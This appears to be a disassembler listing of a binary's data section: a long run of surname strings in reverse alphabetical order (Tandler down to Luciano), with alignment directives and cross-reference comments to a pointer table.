aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E644o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E640o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E63Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E638o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E634o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E630o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E62Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E628o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E624o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E620o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E61Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E618o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E614o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E610o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E60Co
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E608o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E604o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E600o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5FCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5F8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5F4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5F0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5ECo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5E8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5E4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5E0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5DCo
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5D8o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E5D4o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E5D0o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E5CCo
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E5C4o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E5C0o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E5BCo
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E5B8o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E5B4o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E5B0o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E5ACo
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E5A8o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E5A4o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E5A0o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E59Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E598o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E594o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E590o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E58Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E588o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E584o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E580o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E57Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E578o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E574o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E570o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E56Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E568o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E564o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E560o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E55Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E558o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E554o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E550o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E54Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E548o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E544o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E540o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E53Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E538o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E534o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E530o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E52Co
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E528o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E524o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E520o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E51Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E518o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E514o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E510o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E50Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E508o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E504o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E500o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4FCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4F8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4F4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4F0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4ECo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4E8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4E0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4DCo
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4D8o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E4D4o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E4D0o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E4CCo
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E4C8o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E4C4o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E4C0o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E4BCo
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E4B8o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E4B4o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E4B0o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E4ACo
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E4A4o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E4A0o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E49Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E498o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E494o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E490o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E48Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E488o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E484o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E480o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E47Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E478o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E474o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E470o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E46Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E468o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E464o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E460o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E45Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E458o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E454o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E450o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E44Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E448o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E444o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E440o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E43Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E438o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E434o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E430o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E42Co
aRush		db 'Rush',0             ; DATA XREF: ___:0042E428o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E424o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E420o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E41Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E418o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E414o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042E410o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E40Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E408o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E404o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E400o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3FCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3F8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3F4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3F0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3ECo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3E8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3E4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3E0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3DCo
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3D8o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E3D4o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E3D0o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E3CCo
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E3C8o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E3C4o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E3C0o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E3BCo
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E3B8o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E3B0o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E3ACo
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E3A8o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E3A0o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E39Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E398o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E394o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E390o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E38Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E388o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E384o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E380o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E37Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E378o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E374o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E370o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E36Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E368o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E364o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E360o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E35Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E358o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E354o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E350o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E34Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E348o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E344o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042E340o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E33Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E338o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E334o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E330o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E32Co
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E328o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E324o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E320o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E31Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E318o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E314o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E310o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E30Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E308o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E304o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E300o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2F8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2F0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2ECo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2E8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2E4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2E0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2DCo
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2D8o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E2D4o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E2D0o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E2CCo
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E2C8o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E2C4o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E2C0o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E2BCo
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E2B8o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E2B0o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E2ACo
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E2A8o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E2A4o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E2A0o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E29Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E298o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E294o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E290o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E28Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E288o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E284o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E280o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E27Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E278o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E274o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E270o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E26Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E268o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E264o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E260o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E25Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E258o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E254o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E250o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E24Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E248o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E244o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E240o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E23Co
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E238o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E234o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E230o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E22Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E228o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E224o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E220o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E21Co
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E218o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E214o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E210o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E20Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E208o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E204o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E200o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1FCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1F8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1F4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1F0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1ECo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1E8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1E4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1E0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1DCo
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1D8o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E1D4o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E1D0o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E1CCo
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E1C8o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E1C4o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E1C0o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E1BCo
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E1B8o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E1B4o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E1ADo
aMorani		db 'Morani',0
		align 10h
aMooredech_	db 'MooreDeCh.',0
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:loc_42E1A1o
		align 4
aMonque		db 'Monque',0
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E19Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E198o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E194o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E190o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E18Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E188o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E184o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E180o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E17Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E178o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E174o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E170o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E16Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E168o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E164o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E160o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E15Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E158o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E154o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E150o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E14Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E148o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E144o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E140o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E13Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E138o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E134o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E130o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E12Co
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E128o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E124o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E120o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E11Co
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E118o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E114o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E110o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E10Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E108o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E104o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E100o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0FCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0F8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0F4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0F0o
aMay		db 'May',0              ; DATA XREF: ___:0042E0ECo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0E8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0E4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0E0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0DCo
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0D8o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E0D4o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E0D0o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E0CCo
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E0C8o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E0C0o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E0BCo
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E0B8o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E0B4o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E0B0o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E0ACo
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E0A8o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E0A4o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E0A0o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E09Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E098o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E094o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E090o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E08Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E088o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E084o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E080o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E078o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E074o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E070o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E06Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E068o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E064o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E060o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E05Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E058o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E054o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E050o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E04Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E048o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E044o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E040o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E03Co
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E038o
